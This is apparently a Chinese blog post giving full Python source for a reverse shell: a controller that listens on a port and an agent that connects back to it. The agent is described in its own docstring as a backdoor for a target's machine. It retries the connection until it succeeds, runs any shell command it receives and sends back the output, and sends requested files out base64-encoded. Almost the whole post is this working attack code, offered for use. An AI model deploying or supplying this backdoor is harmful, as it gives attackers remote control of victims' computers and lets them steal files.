利用Python的JSON以及Base64模块实现二进制文件传输及反向Shell

控制端代码:

import socket
import optparse
import sys
import threading
import json
import base64

class MyTCPServer:
    def __init__(self) -> None:
        self.port = self.get_param()
        try:
            self.s_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.s_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # self.s_socket.bind(('0.0.0.0', self.port))
            self.s_socket.bind(('0.0.0.0', self.port))
            self.s_socket.listen(5)
            print("[+] Start listening on the port %d" % self.port)
        except Exception as e:
            print("[-] Failed to create listener: %s" % e)
            sys.exit()

    def get_param(self):
        parser = optparse.OptionParser('./%s -p port' % sys.argv[0])
        parser.add_option('-p', '--port', dest='port', type='int', help='Specify port number')
        options, args = parser.parse_args()
        if options.port is None:
            print("[-] Specify port first")
            sys.exit()
        return options.port
    
    def reliable_send(self,client_socket,data):
        client_socket.send(json.dumps(data).encode('utf-8'))
    
    def reliable_recv(self,client_socket):
        data = ""
        
        while True:
            try:
                recv_data = client_socket.recv(1024)               
                data = data + recv_data.decode('utf-8')
                return json.loads(data)

            except ValueError:
                continue
    
    def download_file(self, client_socket,file_path):
        """
        Receive data from agent and write into the file with the same filename
        """
     
        recv_data = self.reliable_recv(client_socket)
        if recv_data.strip() == 'no file':
            print("No such file in the current directory")
        else:
            """
            Very import to encode here, otherwise b64decode method will output wrong result
            """
            recv_data_2 = recv_data.encode('ascii')          
            write_data = base64.b64decode(recv_data_2)          
            with open(file_path, 'wb') as f:
                f.write(base64.b64decode(recv_data_2))       
            print('Downloaded successfully')



    def client_handler(self, client_socket, client_address):
        print("[+] Connected from :%s" % str(client_address))
        while True:
            command = input("%s~ " % client_address[0])
            if command == 'q':
                break
            if command == '':
                continue
            if command.startswith('cd'):
                self.reliable_send(client_socket,command)
                recv_data = self.reliable_recv(client_socket)
                print(recv_data)
                continue
            if command.startswith('download'):
                print('Begin to download file...')
                self.reliable_send(client_socket,command)
                file_path = command.split()[1]
                self.download_file(client_socket, file_path)
                continue

           
            self.reliable_send(client_socket,command)         
            recv_data = self.reliable_recv(client_socket)          
            print(recv_data)
        
        client_socket.close()


    def run(self):
        try:
            while True:
                client_socket, client_address = self.s_socket.accept()
                t = threading.Thread(target=self.client_handler, args=(client_socket, client_address))
                t.start()

        except KeyboardInterrupt:
            print("[-] Exit the program now")
            sys.exit()
        except Exception as e:
            print("[-] Something is wrong: %s" % e)
            sys.exit()


if __name__ == '__main__':
    server = MyTCPServer()
    server.run()

 

 

被控制端代码:

import socket
import optparse
import sys
import subprocess
import json
import os
import base64
import time

"""
    This code is for agent which can be installed into the target's machine. The code can act as backdoor which can get the command from controller 
    or hacker and reply back the results to the controller.
"""

class MyTCPClient:
    def __init__(self) -> None:
        """
            target: IP address of controller or hacker
            port: port which can be used to connect to 
        """

        self.target = self.get_param()[0]
        self.port = self.get_param()[1]
        try:
            self.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            while True:
                try:
                    self.client_socket.connect((self.target, self.port))
                    break
                except:
                    time.sleep(2)


        except Exception as e:
            print("[-] Failed to connect to target: %s" % e)
            sys.exit()


    def get_param(self):
        parser = optparse.OptionParser('./%s -t target ip address -p port' % sys.argv[0])
        parser.add_option('-t', '--target',  dest='target', type='string', help='Specify IP addresss to connect to')
        parser.add_option('-p', '--port', dest='port', type='int', help='Specify port number')
        options, args = parser.parse_args()
        if options.target is None or options.port is None:
            print(parser.usage)
            sys.exit()
        return options.target, options.port
    
    def reliable_send(self,data):
        """
            convert to JSON data before sending to the destination
        """

        self.client_socket.send(json.dumps(data).encode('utf-8'))
    
    def reliable_recv(self):
        data = ""
        while True:
            try:
                recv_data = self.client_socket.recv(1024)
                data = data + recv_data.decode('utf-8')
                return json.loads(data)
                """
                Try to convert back to the orgininal data, catch the eror when the received data is incomplete and contitue to receive data from peer
                """

            except ValueError:
                continue
    
    def download_file(self,file_path):
                
        if not os.path.exists(file_path):
            """
            If the requested file is not existent on the agent's computer, then reply back the result of 'no file'
            """
            res = 'no file'
            self.reliable_send(res)

        else:      
            with open(file_path, 'rb') as f:
                """
                Very important to decode bytes data before sending to the peer, otherwise the controller can't get the file properly
                """
                send_data = base64.b64encode(f.read()).decode('ascii')
                self.reliable_send(send_data)

    def run(self):
        while True:
            # command = self.client_socket.recv(1024).decode('utf-8')
            command = self.reliable_recv()
            res = ""
            print(command)
            if command == 'q':
                break
            if command == '':
                continue
            if command.startswith('cd'):
                cd_path = command.split()[1]
                if not os.path.exists(cd_path):
                    res = 'No such directory to navigate'
                    self.reliable_send(res)
                     
                    continue
                
                else:
                    os.chdir(cd_path)
                    res = 'Changed successfully'
                    self.reliable_send(res)
                    continue    
            if command.startswith('download'):
                print("Begin to download")
                file_path = command.split()[1]
                self.download_file(file_path)
                continue
            try:
                result = subprocess.run(command, shell=True, capture_output=True)
                if len(result.stderr) == 0:
                    res = result.stdout.decode('utf-8')
                else:
                    res = result.stderr.decode('utf-8')
                
            except Exception as e:
                res = 'Failed to execute command'
                print('Failed to execute: %s' % e)
                
            
            print(res)
        
            # self.client_socket.send(res)
            self.reliable_send(res)
        self.client_socket.close()

if __name__ == '__main__':
    client = MyTCPClient()
    client.run()

 

posted @ 2023-07-16 12:51  Jason_huawen  阅读(140)  评论(0编辑  收藏  举报